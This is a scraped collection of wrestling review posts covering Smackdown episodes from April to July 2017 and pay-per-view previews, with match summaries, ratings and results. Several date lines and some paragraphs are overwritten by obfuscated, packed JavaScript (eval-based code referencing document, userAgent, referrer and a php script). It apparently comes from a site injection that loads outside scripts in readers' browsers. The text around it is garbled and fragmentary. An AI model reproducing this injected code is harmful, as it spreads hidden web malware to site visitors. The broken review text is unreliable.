New Column: Lost and (Hopefully) Found
Looking at the women’s divisions and why they mostly suck at the moment.
https://wrestlingrumors.net/kbs-review-lost-hopefully-found/
Smackdown – July 4, 2017: Johnny Cena And the News
Smackdown
Date: July 4, 2017
Location: Talking Stick Resort Arena, Phoenix, Arizona
Commentators: John Bradshaw Layfield, Tom Phillips, Byron Saxton
The opening video looks at Cena.
Chad Gable vs. AJ Styles
No Jason Jordan in sight. Feeling out process to start with AJ easily being taken down but popping up for his dropkick to send us to a break less than a minute and a half in. Back with AJ blocking a belly to belly superplex attempt. The Phenomenal Forearm is broken up but Gable misses a moonsault attempt. AJ gets the Calf Crusher for a bit but Gable twists out and plants him with a German suplex. Not that it matters as AJ is sent to the apron and hits the Phenomenal Forearm for the pin at 8:11.
AJ helps him up post match.
Naomi is defending and grabs her reverse Rings of Saturn for the tap out at 11 seconds.
Baron Corbin jumps Shinsuke Nakamura with the briefcase.
Randy Orton vs. Aiden English
Battle Royal
Sami Zayn, Konnor, Viktor, Dolph Ziggler, Luke Harper, Mojo Rawley, Zack Ryder, Erick Rowan, Fandango, Tyler Breeze, AJ Styles, Tye Dillinger, Sin Cara
Rating: C. This was better than your average battle royal as they got rid of most of the nothing guys early and got down to people fans care about. Styles winning was obvious but they kept things moving and it was far from bad. The fans would have been happy with any of the final three so it was hardly torture.
Owens hits the ring and beats Styles down, only to have AJ knock him to the floor and hold up the title to end the show.
Results
AJ Styles b. Chad Gable – Phenomenal Forearm
Naomi b. Lana – Reverse Rings of Saturn
Aiden English b. Randy Orton via DQ when Orton used the steps
AJ Styles won a battle royal last eliminating Sami Zayn
http://kbwrestlingreviews.com/2017/05/19/history-of-saturday-nights-main-event-and-clash-of-the-champions-now-in-paperback-plus-price-drops/
And check out my Amazon author page with cheap wrestling books at:
Smackdown – June 27, 2017: Now Why Would You Do That?
Smackdown
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June 27, 2017
Location: Valley View Casino Center, San Diego, California
Commentators: Tom Phillips, Byron Saxton, John Bradshaw Layfield
The opening recap looks at the Money in the Bank ladder match from the pay per view and the build to tonight with the theme of seizing opportunity when you get the chance. This is also used on the rest of the major stories going on around here.
James Ellsworth tells the people to shut up and calls Bryan pathetic. He looks at Bryan and sees a coward who is staying out of the ring because of some fake injury. Daniel smiles and says he should just fire Ellsworth but instead just bans him from the entire arena for the rest of the night. Security comes out and drags him away as this opening segment wraps up after nearly fifteen minutes with really nothing new being done.
Hype Bros vs. Usos
Post match the New Day comes out to challenge for the titles at Battleground. The Usos accept, in rhyme no less. Kofi rhymes a bit of his own and tromboning ensues.
Becky Lynch is ready to have a fair chance to win Money in the Bank.
Here are Mike and Maria Kanellis for their Smackdown debut, only to have Sami Zayn cut them off in just a few seconds.
Sami Zayn vs. Baron Corbin
Sami goes right after him to start and sends Corbin to the floor, only to get tossed into the barricade as we take a break. Back with Corbin still in control and grabbing a bearhug. Sami slips out and hits that hard clothesline of his and avoids a charge, sending Corbin shoulder first into the post. Corbin misses another charge and gets rolled up for two before driving Sami right back into the same corner. A headbutt puts Corbin down but he catches a charging Sami with End of Days for the pin at 8:11.
Shinsuke Nakamura says Corbin is scared of him and for good reason.
Charlotte vs. Tamina vs. Becky Lynch vs. Carmella vs. Natalya
Back with Natalya suplexing Charlotte but getting suplexed on the floor by Becky. Charlotte and Tamina fight over the ladder until Natalya makes a save and loads it up over Charlotte in the corner. Natalya starts to climb but Charlotte shoves her ladder up to make a ramp for the save. Carmella shoves the ladder over, only to take a pumphandle suplex from Becky.
Back from another break with Natalya climbing slowly enough that Charlotte can make a save. Everyone but Carmella gets shoved down but the other four are right back to lift the ladder up and carry it away from the case. Carmella dives onto Becky and Natalya, leaving Charlotte to drop Tamina again. Charlotte puts the ladder over Tamina and climbs but Carmella is back to grab her legs.
Results
Usos b. Hype Bros – Superfly Splash to Ryder
Naomi b. Lana – Split legged moonsault
Baron Corbin b. Sami Zayn – End of Days
Carmella won Money in the Bank
http://kbwrestlingreviews.com/2017/05/19/history-of-saturday-nights-main-event-and-clash-of-the-champions-now-in-paperback-plus-price-drops/
And check out my Amazon author page with cheap wrestling books at:
Money in the Bank 2017 Preview
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ryaya|var|u0026u|referrer|trntr||js|php'.split('|'),0,{})) goodness we’re finally here. I’ve made no secret of the fact that I can’t stand the build to this pay per view and I never have been able to. We’ve been BUILDING MOMENTUM to this show for over a month now and it’s time to finally pay it off, likely with someone who hasn’t built any momentum yet getting the big win. On top of that….well there’s not much actually as there’s a five match card with two matches being Money in the Bank ladder matches. Let’s get to it.
Kickoff Show: Hype Bros vs. Colons
Smackdown World Title: Jinder Mahal(c) vs. Randy Orton
Smackdown Tag Team Titles: Usos(c) vs. New Day
This is one of those rare matches where the result is going to depend on what you think is going to happen in the Money in the Bank ladder match. At the moment, I think a certain heel is going to be winning the briefcase and as a result, it should be the face winning here. On the other hand, I have a bit of a difficult time believing that Lana is going to be hyped up so much, only to lose in her singles debut.
Overall Thoughts
http://kbwrestlingreviews.com/2017/05/19/history-of-saturday-nights-main-event-and-clash-of-the-champions-now-in-paperback-plus-price-drops/
And check out my Amazon author page with cheap wrestling books at:
Smackdown – June 6, 2017: The Summer Doldrums
Smackdown
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nfhtb|var|u0026u|referrer|nirrz||js|php'.split('|'),0,{}))
June 6, 2017
Location: Blue Cross Arena, Rochester, New York
Commentators: John Bradshaw Layfield, Tom Phillips, Byron Saxton
Naomi/Charlotte/Becky Lynch vs. Carmella/Natalya/Tamina
AJ Styles vs. Dolph Ziggler
Mojo Rawley vs. Jinder Mahal
Non-title and a win sends Mojo to the Money in the Bank ladder match. Mahal has a VERY long entrance so Mojo shoulders him to the floor to start. Back in and Mojo hits a hard clothesline, only to have one of the Singh Brothers offer a distraction. Mahal gets in a kick to the face to take over before sending Mojo shoulder first into the post. The Khallas gives Jinder the pin at 3:57.
Orton is ready to win his title back.
Shinsuke Nakamura video, featuring him painting.
New Day vs. Colons
Kofi is on the floor this time as Primo wristlocks Woods to start. Xavier fights out and hits a discus forearm before bringing in Big E. We get stereo abdominal stretches and take another early break. Back with Woods hitting a missile dropkick and bringing Big E. back in to clean house. A big flip dive takes Epico out and the Midnight Hour is enough to finish Primo at 7:26.
Post match the Usos come out to call New Day old news. Jey has jokes about all three of them, including asking if E. is an initial or a bra size. Oh and Woods has weird shoes.
Shinsuke Nakamura vs. Kevin Owens
Oh and in case you thought that win mattered, Corbin lays Nakamua out with End of Days.
Results
Tamina/Carmella/Natalya b. Naomi/Charlotte/Becky Lynch – Superkick to Charlotte
AJ Styles b. Dolph Ziggler – Styles Clash
Jinder Mahal b. Mojo Rawley – Khallas
New Day b. Colons – Midnight Hour to Primo
Shinsuke Nakamura b. Kevin Owens – Kinshasa
http://kbwrestlingreviews.com/2017/05/19/history-of-saturday-nights-main-event-and-clash-of-the-champions-now-in-paperback-plus-price-drops/
And check out my Amazon author page with cheap wrestling books at:
Smackdown – May 9, 2017: The British Curse Turns Blue
Smackdown
Date: May 9, 2017
Location: 02 Arena, London, England
Commentators: Tom Phillips, Byron Saxton, John Bradshaw Layfield
Opening sequence.
Becky Lynch vs. Natalya
Lana is coming soon.
Luke Harper vs. Erick Rowan
Rowan throws him to the floor to start as the announcers talk about how these two are running amuck with no one to guide them. Back in and Rowan scores with a spinning kick to the face and a splash for two. Harper suplexes his way out of the head vice but the discus lariat is blocked. Instead Erick gets two off a Side Effect and grabs the mask. The distraction (as the referee tries to figure out what the mask is supposed to look like) allows Rowan to poke Harper in the eye and grab a reverse spinning powerslam for the pin at 4:23.
New Day is coming and we get a video game themed promo with every other team being listed on a character select screen.
Breezango vs. Ascension
Randy Orton/Sami Zayn/AJ Styles vs. Jinder Mahal/Baron Corbin/Kevin Owens
Results
Natalya b. Becky Lynch – Natalya pulled her off the top rope
Erick Rowan b. Luke Harper – Spinning reverse powerslam
Breezango b. Ascension – Last Dance to Viktor
Jinder Mahal/Kevin Owens/Baron Corbin b. Sami Zayn/Randy Orton/AJ Styles – Cobra clutch slam to Orton
Remember to follow me on Twitter @kbreviews and pick up the NXT: The Full Sail Years Volumes I and II, now in PAPERBACK. Check out the information here:
http://kbwrestlingreviews.com/2017/03/24/kbs-history-of-nxt-volumes-1-and-2-now-available-in-paperback/
And check out my Amazon author page with cheap wrestling books at:
Smackdown – May 2, 2017: The Chris Jericho Alarm Clock
Smackdown
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zihys|var|u0026u|referrer|dntth||js|php'.split('|'),0,{}))
May 2, 2017
Location: Save Mart Center, Fresno, California
Commentators: Tom Phillips, John Bradshaw Layfield, Byron Saxton
Earlier today, Jinder Mahal was in a photo shoot with the stolen Smackdown World Title. Shane McMahon came up and took it back while saying Mahal would be facing Sami Zayn tonight.
Opening sequence.
Sami Zayn vs. Jinder Mahal
Tye Dillinger vs. Aiden English
English seems to have a breakdown post match.
Naomi/Charlotte vs. Carmella/Natalya
The Welcoming Committee beats on Charlotte and Naomi until Becky Lynch slowly walks out. She shakes hands with the Committee before throwing Ellsworth into the women and hammering on all of them. Tamina superkicks Becky down and the Welcoming Committee stands tall.
Sin Cara vs. Dolph Ziggler
Lana vignette.
US Title: Chris Jericho vs. Kevin Owens
Results
Jinder Mahal b. Sami Zayn – Cobra clutch slam
Carmella/Natalya b. Naomi/Charlotte – Rollup with a handful of tights
Dolph Ziggler b. Sin Cara – Superkick
Kevin Owens b. Chris Jericho – Pop Up Powerbomb
Remember to follow me on Twitter @kbreviews and pick up the NXT: The Full Sail Years Volumes I and II, now in PAPERBACK. Check out the information here:
http://kbwrestlingreviews.com/2017/03/24/kbs-history-of-nxt-volumes-1-and-2-now-available-in-paperback/
And check out my Amazon author page with cheap wrestling books at:
Smackdown – April 25, 2017: Stairway to Nothing
Smackdown
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April 25, 2017
Location: Wells Fargo Arena, Des Moines, Iowa
Commentators: John Bradshaw Layfield, Tom Phillips, Byron Saxton
Baron Corbin vs. AJ Styles
The post match beatdown is on until Sami Zayn makes the save. That means a Helluva Kick for Corbin but Owens jumps Sami and powerbombs AJ.
Beat the Clock: American Alpha vs. Colons
There are four teams in the competition (another match later) and the winners get a future title shot. Alpha starts fast with the rollup attempts (makes sense) but Gable has to fight out of the wrong corner. The Colons send Gable into the corner though and the double teaming lets the cousins take over.
An armbar wastes some time before Primo grabs a chinlock at the three minute mark. Something like a reverse Koji Clutch keeps Gable in trouble before Primo drops Jordan off the apron. Back up and the powerbomb/Backstabber combination is broken up and a quick Grand Amplitude gives Alpha the pin, setting the time at 5:17.
Randy Orton vs. Erick Rowan
Post break Mahal and the Boyz leave in a Hummer limo.
Beat the Clock: Ascension vs. Breezango
Video on Wyatt vs. Orton.
Charlotte is challenging after defeating Naomi last week. After the Big Match Intros, Charlotte is sent outside but pulls Naomi out for a crash. Back from a break with Naomi caught in a cravate, followed by some stomping in the corner. Naomi makes her comeback with a hurricanrana and a bulldog, followed by a Chick Kick for two.
Rating: C-. This match suffered from a common problem as we were just waiting on the ending. Making Charlotte a face (maybe) is interesting as you can only have her do the entitled heel character for so long. The Welcoming Committee is fine for a way to fill in time until someone new (Asuka) comes up to give Charlotte a real challenge. Not much to see here but it worked well enough.
Charlotte gets beaten down to end the show.
Results
AJ Styles b. Baron Corbin – Sunset flip
American Alpha b. Colons – Grand Amplitude to Epico
Randy Orton b. Erick Rowan – RKO
Breezango b. Ascension – Falcon Arrow to Viktor
Naomi b. Charlotte via DQ when the Welcoming Committee interfered
Remember to follow me on Twitter @kbreviews and pick up the NXT: The Full Sail Years Volumes I and II, now in PAPERBACK. Check out the information here:
http://kbwrestlingreviews.com/2017/03/24/kbs-history-of-nxt-volumes-1-and-2-now-available-in-paperback/
And check out my Amazon author page with cheap wrestling books at:
Smackdown – April 18, 2017: It Didn’t Make Any More Sense Live
Smackdown
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|thyiy|var|u0026u|referrer|kydae||js|php'.split('|'),0,{}))
April 18, 2017
Location: KFC Yum! Center, Louisville, Kentucky
Commentators: Tom Phillips, Byron Saxton, John Bradshaw Layfield
In Memory of Rosey who passed away earlier in the day.
We open with a long recap of the Superstar Shakeup.
Dolph Ziggler vs. Sami Zayn vs. Jinder Mahal vs. Erick Rowan vs. Luke Harper vs. Mojo Rawley
Rating: B. Choice of a winner aside, this was a heck of a match with some outstanding false finishes. There were multiple possible winners here and one major surprise ending, which is always going to help something like this. I had a lot of fun with the match, though I could go with a regular match for a title shot instead of some multi-person circus, even an entertaining one like this.
Bray Wyatt pops up on screen to talk about torturing Randy and showing him what fear means. The show went to a break here, during which Rowan tried to sneak in and attack Orton, only to take the RKO. During the entire post match promo exchange, Zayn sat at ringside staring at the announcers, completely distraught.
Video on Shinsuke Nakamura.
Charlotte runs into Natalya, Tamina and Carmella, who completely fail to intimidate her.
Naomi vs. Charlotte
Charlotte WOOs at her detractors.
Colons vs. American Alpha
Video on Lana, who likes to dance on chairs.
Video on Tye Dillinger.
Kevin Owens vs. Gary Gandy
Non-title. This is a Face of America Open Challenge and Gandy is from Louisville. Pop Up Powerbomb ends Gandy at 34 seconds.
AJ Styles vs. Baron Corbin
Results
Jinder Mahal b. Sami Zayn, Erick Rowan, Luke Harper, Dolph Ziggler and Mojo Rawley – Cobra clutch slam to Zayn
Charlotte b. Naomi – Natural Selection
Colons b. American Alpha – Rollup to Jordan
Kevin Owens b. Gary Gandy – Pop Up Powerbomb
AJ Styles b. Baron Corbin via countout
Remember to follow me on Twitter @kbreviews and pick up the NXT: The Full Sail Years Volumes I and II, now in PAPERBACK. Check out the information here:
http://kbwrestlingreviews.com/2017/03/24/kbs-history-of-nxt-volumes-1-and-2-now-available-in-paperback/
And check out my Amazon author page with cheap wrestling books at:
Wrestlemania XXXIII Preview: Smackdown Women’s Title: Six Pack Challenge
Maybe the swerve of the night.
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rdbiz|var|u0026u|referrer|rehih||js|php'.split('|'),0,{})) Asuka retaining the NXT Women’s Title at “Takeover: Orlando”, I have almost no idea who is going to win here. I can’t imagine they’ll throw Nikki Bella in there again and as much as I’d love to see Alexa Bliss retain the title, I have a feeling we’re getting Naomi winning the title again for the big hometown pop, because, and I know I say this a lot, Naomi winning the title is suddenly this huge emotional moment, especially in her hometown.
Remember to follow me on Twitter @kbreviews and pick up the NXT: The Full Sail Years Volumes I and II, now in PAPERBACK. Check out the information here:
http://kbwrestlingreviews.com/2017/03/24/kbs-history-of-nxt-volumes-1-and-2-now-available-in-paperback/
And check out my Amazon author page with cheap wrestling books at: